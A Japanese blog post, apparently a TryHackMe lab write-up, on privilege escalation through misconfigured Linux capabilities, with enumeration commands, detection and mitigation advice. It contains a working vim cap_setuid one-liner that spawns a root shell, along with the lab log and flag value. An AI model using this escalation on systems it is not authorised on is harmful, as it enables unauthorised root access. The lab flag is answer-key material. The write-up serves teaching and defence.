2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Privilege Escalation — Linux Capabilities を使った攻撃と対策

Posted at

はじめに

Linux の Capabilities は「最小権限で必要な機能だけ与える」仕組みだが、設定次第ではローカルユーザーが簡単に管理者権限を奪える。調査手順(列挙 → 利用可能なバイナリ確認 → 権限昇格実行)と、検出・緩和の具体策を実例付きでまとめます。


1. 概要

Unix 標準の権限モデルは「root = 全能」だが、Capabilities はその全能を細分化して、バイナリに個別の能力(例えばネットワーク操作やUIDの書換)を付与できる仕組みです。管理者は SUID を使わずに必要な機能だけ渡せるため便利。ただし、誤設定や不用意なバイナリ配置があると、攻撃者にとって強力な昇格経路になります。


2. 代表的な Capability

  • cap_setuid — ユーザーID を変更できる(root に切り替え可能になる)
  • cap_net_raw — 生パケットの送受信(スニッフィングや特権なトレース)
  • cap_net_bind_service — 1024 未満のポートにバインド可能
  • cap_net_admin — ネットワーク設定の変更など高レベル操作

(末尾の「+ep」などは Effective/Permitted フラグを示す)


3. 列挙(攻撃者視点) — まず探すコマンド

エラー出力が多いので 2>/dev/null 付きで実行します。

# ファイルシステム全体から capabilities を持つバイナリを探す
getcap -r / 2>/dev/null

# SUID ビットが付いたファイル(古典的な昇格ベクタ)
find / -type f -perm -04000 -ls 2>/dev/null

出力例(要点のみ)

/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

ポイント:Capabilities は SUID 探索では見つからないケースがあるため、getcapによる走査は必須。


4. 実例:Capabilities を使った昇格フロー(安全な実演)

  1. getcapcap_setuid を持つバイナリ /home/karen/vim を発見。
  2. GTFObins の該当ページを調べ(vim の Python 経由例など)実行。
  3. バイナリを直接実行して root シェル取得。

実行例(攻撃者コマンド・手順)

# ユーザー: karen
$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)

# vim が cap_setuid を持っている場合、内部で UID を 0 にして /bin/sh を起動させられる
$ ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'

# 成功後
# id
uid=0(root) gid=1001(karen) groups=1001(karen)

また view といった別バイナリ(/home/ubuntu/view)も cap_setuid を持っていれば同様に利用可能です。実際の演習では、これらのバイナリを使って /home/ubuntu/flag4.txt の中身 THM-9349843 を読み取ることができました(例:cat /home/ubuntu/flag4.txt)。


5. どのバイナリが危険か判断するコツ

  • インタラクティブ言語バインディングを持つもの(Python 組み込み、perl、lua 等) → 任意コード実行に直結しやすい。
  • ファイル操作・実行権限があるもの → root 権限で任意コマンドを実行できる。
  • 外部入力を処理するもの(ネットワークツール等) → 脆弱性と組み合わせると危険度が増す。

リスト化して優先順位をつけ、調査すると効率的です。


6. 探索・攻撃シナリオ(チェックリスト)

  • getcap -r / の結果を全て確認。
  • 出てきた各バイナリを ls -l で所有者・パーミッションを確認。
  • バイナリが持つ機能(cap の種類)に応じて GTFObins 等で“どう実行すれば root になるか”を調べる。
  • 実行前には実行可能パスや同名バイナリ(例:/home/karen/vim)が root 所有かを確認する。ユーザーが自分で置いたバイナリの場合、攻撃者はそこを利用してしまう。

7. 検出方法(Defensive)

監査・検出は攻撃抑止の要です。

a. 定期スキャン

getcap -r / を定期ジョブで実行して変化を検出(差分監視)。
例:毎朝の cron で結果をハッシュ化して保存 → 変化があるとアラート。

b. ファイルシステム監視

auditd やファイル整合性チェック(AIDE/OSSEC)で /home/* に置かれた実行可能ファイルの追加・権限変更を監視。

c. ログ監視

不審な sudo や root シェルの生成に関するログ(/var/log/auth.log 等)を SIEM に流し、しきい値ベースでアラート。


8. 緩和策

  1. 不要な capability を剥奪

    • 既に必要でないバイナリからは capability を削除する。
    sudo setcap -r /path/to/binary
    
  2. 信頼できない場所に実行ファイルを置かせない

    • /home 以下に root 所有で実行可能なファイルが置けないようなポリシー(マウントオプションや権限)を設定。
  3. 最小権限の再検討

    • なぜそのバイナリに capability が必要なのか理由をドキュメント化。定期的にレビュ—を行う。
  4. コンテナ・サンドボックス化

    • 外部のツールや未検証バイナリは隔離された環境で実行する。
  5. パッケージソースの厳格化

    • 標準パッケージ以外は署名/承認を必須にする。

9. メタポイント:Capabilities と SUID の違い

  • SUID:実行時にプロセスの実効 UID が root に変わる(広範囲な権限)
  • Capabilities:必要最小の権限だけを与える(理想は安全)
    しかし現実には「どの機能が危険か」を判断するのは難しく、誤設定は SUID と同等レベルに危険になり得ます。

まとめ

  • 即やること(短期)
    • getcap -r / 2>/dev/null を実行し、結果をチームに共有。不要な capability を setcap -r で削除。
    • /home に置かれた実行ファイルを確認し、root 所有でない実行可能ファイルの規則を作る。
  • 中期(週/月単位)
    • FIM(AIDE 等)・auditd を導入して変化を検知。SIEM にアラートを整備。
  • 長期(改善)
    • デプロイ/パッケージ管理の強化、脆弱性管理体制の整備、定期権限レビュ—を制度化。

付録:コマンド一覧(重要なもの)

# capabilities の列挙
getcap -r / 2>/dev/null

# 特定ファイルの capability
getcap /path/to/file

# capability 削除
sudo setcap -r /path/to/file

# SUID ファイル一覧
find / -type f -perm -04000 -ls 2>/dev/null

# ファイルの所有権・パーミッション確認
ls -l /home/karen/vim

Log

$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

$ ls -l /usr/bin/vim
lrwxrwxrwx 1 root root 21 Oct 26  2020 /usr/bin/vim -> /etc/alternatives/vim
$ ls -l /home/karen/vim
-rwxr-xr-x 1 root root 2906824 Jun 18  2021 /home/karen/vim


$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
$./vim -c ':py3 import os;os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'


$ find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt
$ ls -la /home/ubuntu/flag4.txt
-rw-r--r-- 1 root root 12 Jun 18  2021 /home/ubuntu/flag4.txt
$./vim -c ':py3 import os;os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# cat /home/ubuntu/flag4.txt
THM-9349843
# 


2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?